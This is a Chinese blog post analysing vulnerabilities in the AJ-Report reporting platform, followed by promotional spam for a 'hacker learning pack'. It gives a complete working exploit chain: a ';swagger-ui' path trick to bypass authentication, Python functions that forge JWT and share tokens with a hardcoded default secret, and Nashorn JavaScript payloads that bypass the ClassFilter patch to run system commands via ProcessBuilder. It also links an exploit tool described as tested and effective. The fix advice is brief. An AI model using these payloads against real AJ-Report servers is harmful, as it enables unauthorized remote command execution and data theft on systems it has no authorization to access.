AJ-REPORT全新鉴权及远程命令修复绕过分析,(非常详细)从零基础到精通,收藏这篇就够了!

TL;DR

前几天在公众号看到AJ-Report未授权远程命令执行,这个洞还挺通杀的。今天看了下命令执行似乎已经修复了,但是这里的patch可以绕过。另外最关键的TokenFilter中的鉴权绕过漏洞没修,其实鉴权修复了也会有默认key导致鉴权绕过的问题。文末给出了利用工具,实测好用。

漏洞分析
鉴权绕过

这个系统的接口绝大部分都需要登陆,需要绕一下。

鉴权逻辑在TokenFilter

经典通过request.getRequestURI()拿到uri,后面如果uri包含swagger-ui直接放行。

因为是拿的URI,没有参数信息所以没法用?swagger-ui绕。

但可以用;swagger-ui绕过,因为parsePathParameters:950, CoyoteAdapter (org.apache.catalina.connector)这里会取分号作为pathParamStart

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

pathParamEnd这里会取/作为结尾。最后截断中间的字符串,也就是说/a;b/c最终会解析为/a/c

所以用/dataSetParam;swagger-ui/verification就能请求到后端接口了。

另一处鉴权绕过(默认key)

如果swagger-ui放行那里被修复了怎么办呢?可以看到后续会校验token

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

校验token类也是安吉自己写的,给jwt payload加了四个key-value pairs

public String createToken(String username, String uuid, Integer type, String tenantCode) {  
    String token \= JWT.create().withClaim("username", username).withClaim("uuid", uuid).withClaim("type", type).withClaim("tenant", tenantCode).sign(Algorithm.HMAC256(this.gaeaProperties.getSecurity().getJwtSecret()));  
    return token;  
}  
public String getUsername(String token) {  
    Claim claim \= (Claim)this.getClaim(token).get("username");  
    return claim \== null ? null : claim.asString();  
}  

重点来了,通过this.gaeaProperties.getSecurity().getJwtSecret()拿到密钥。

jwt密钥在GaeaProperties$Security类里,而setJwtSecret方法没有被调用过,因此key是默认的。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

伪造jwt即可。

def getFakeToken():  
    payload \= {  
        "type": 0,  
        "uuid": "627750b8be86421d94facec7e4dba555",  
        "tenant": "tenantCode",  
        "username": "admin"  
    }  
    fakeToken \= jwt.encode(payload,'anji\_plus\_gaea\_p@ss1234',algorithm\='HS256')  
    return fakeToken  

通过校验。

光伪造token还不够。后面还有个登陆缓存验证,缓存逻辑具体可参考/accessUser/login路由逻辑。token的时效是1小时,如果远程一小时内没有admin

但是看到这里出现了转机,接下来会校验shareToken,如果reportCodeList.stream().noneMatch(uri::contains),也就是说uri包含reportCode的话就返回false。而shareToken是从Share-Token请求头取的。

List<String\> reportCodeList \= JwtUtil.getReportCodeList(shareToken);  
if (!uri.endsWith("/reportDashboard/getData") && !uri.endsWith("/reportExcel/preview") && reportCodeList.stream().noneMatch(uri::contains)) {  
    ResponseBean responseBean \= ResponseBean.builder().code("50014").message("分享链接已过期").build();  
    response.getWriter().print(JSONObject.toJSONString(responseBean));  
    return;  
}  

再看一下shareToken签名,密钥同样硬编码。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

shareToken通过以下方式伪造:

def getFakeShareToken():  
    payload \= {  
        "shareCode": 1,  
        "reportCode": "/", #通用性  
        "exp": 4070880000,  
        "iat": 1715402146,  
        "sharePassword": 1  
    }  
    fakeShareToken \= jwt.encode(payload,JWT\_SECRET,algorithm\='HS256')  
    return fakeShareToken  

伪造完shareToken就可以访问接口了。

nashorn引擎执行表达式绕过

漏洞在\src\main\java\com\anjiplus\template\gaea\business\modules\datasetparam\controller\DataSetParamController.java中的/verification路由,可以看到会调用verification方法。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

跟进verification方法,该方法调用了engine.eval

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

engine针对CNVD-2024-15077做了PATCH

看下diff,加了ClassFilter,过滤了命令执行的三个类。

不太了解这个防御逻辑是啥,先尝试打断点看看是什么逻辑:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

到这里有个classFilter。调了个寂寞,还是看看怎么ban掉类的逻辑吧。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

先用原版payload打一下,简单解释下,流传在网上的payload定义了verification函数是因为执行完js后会调用js中的verification函数,随后将执行结果返回。verification函数就是常规的调用java.lang.ProcessBuilder('whoami').start()执行命令。

function verification(data){var se\= new javax.script.ScriptEngineManager();var r \= new java.lang.ProcessBuilder('whoami').start().getInputStream();result\=new java.io.BufferedReader(new java.io.InputStreamReader(r));ss\='';while((line \= result.readLine()) != null){ss+=line};return ss;}  

执行失败,提示找不到这个类。

打异常断点看调用栈:

classNotFound:162, NativeJavaPackage (jdk.nashorn.internal.runtime)  
invokeStatic\_L\_V:\-1, 282828951 (java.lang.invoke.LambdaForm$DMH)  
reinvoke:\-1, 1395859879 (java.lang.invoke.LambdaForm$BMH)  
dontInline:\-1, 1043162593 (java.lang.invoke.LambdaForm$reinvoker)  
guard:\-1, 1912131086 (java.lang.invoke.LambdaForm$MH)  
linkToCallSite:\-1, 23493645 (java.lang.invoke.LambdaForm$MH)  
verification:1, Script$Recompilation$4$27A$\\^eval\\\_ (jdk.nashorn.internal.scripts)  
invokeStatic\_L3\_L:\-1, 246550802 (java.lang.invoke.LambdaForm$DMH)  
invokeExact\_MT:\-1, 664302677 (java.lang.invoke.LambdaForm$MH)  
invoke:639, ScriptFunctionData (jdk.nashorn.internal.runtime)  
invoke:494, ScriptFunction (jdk.nashorn.internal.runtime)  
apply:393, ScriptRuntime (jdk.nashorn.internal.runtime)  
callMember:199, ScriptObjectMirror (jdk.nashorn.api.scripting)  
invokeImpl:386, NashornScriptEngine (jdk.nashorn.api.scripting)  
invokeFunction:190, NashornScriptEngine (jdk.nashorn.api.scripting)  
verification:106, DataSetParamServiceImpl  

都是匿名函数,还是看文档吧。

经过一番检索发现此处针对nashorn的安全过滤是JEP202:https://openjdk.org/jeps/202。

Provide a Java class\-access filtering interface, ClassFilter, that can be implemented by Java applications that use Nashorn.  
提供一个 Java 类访问过滤接口 ,ClassFilter可以由使用 Nashorn 的 Java 应用程序实现。  
  
  
Nashorn will query a provided instance of the ClassFilter interface before accessing any Java class from a script in order to determine whether the access is allowed. This will occur whether or not a security manager is present.  
Nashorn 将在从脚本访问任何 Java 类之前查询提供的接口实例ClassFilter,以确定是否允许访问。无security manager是否存在,都会发生这种情况。  
  
A script should not be able to subvert restrictions by a class filter in any way, not even by using Java's reflection APIs.  
脚本不应该能够以任何方式破坏类过滤器的限制,即使使用 Java 的反射 API 也不行。  

如果存在类过滤器,即使不存在security managerNashorn 也不让你用反射。如果反射可用那么使用类过滤器就没有意义了,因为可以使用反射来绕过类过滤器。尝试了一下反射确实不行。

不过参考JEP290大概猜到JEP202也(只)是会过滤类,而不是把命令执行的类阉割了。

所以直接用套娃的方式绕就行,在里面再new一个ScriptEngineManager,然后再eval就行。

function verification(data){var se\= new javax.script.ScriptEngineManager();var r \= se.getEngineByExtension(\\"js\\").eval(\\"new java.lang.ProcessBuilder('whoami').start().getInputStream();\\");result\=new java.io.BufferedReader(new java.io.InputStreamReader(r));ss\='';while((line \= result.readLine()) != null){ss+=line};return ss;}  

执行命令:

别的路由

其实/dataSet/testTransform路由也会调用到engine.eval,但是没有回显。有兴趣的师傅可以看一下,这个接口的逻辑是执行完表达式发起一个http请求,返回的是httpresponse

修复

主要问题在鉴权而不是 engine.eval , 应该使用 reqeust.getServletPath() 获取 URI,或者干脆把 swagger-ui 放行逻辑那里删掉。

其次需要修改jwt默认密钥。

利用工具

https://github.com/yuebusao/AJ-REPORT-EXPLOIT

黑客/网络安全学习包

资料目录

  1. 成长路线图&学习规划

  2. 配套视频教程

  3. SRC&黑客文籍

  4. 护网行动资料

  5. 黑客必读书单

  6. 面试题合集

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

1.成长路线图&学习规划

要学习一门新的技术,作为新手一定要先学习成长路线图方向不对,努力白费

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

2.视频教程

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

3.SRC&黑客文籍

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

黑客资料由于是敏感资源,这里不能直接展示哦!

4.护网行动资料

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

5.黑客必读书单

**

**

6.面试题合集

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。

更多内容为防止和谐,可以扫描获取~

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值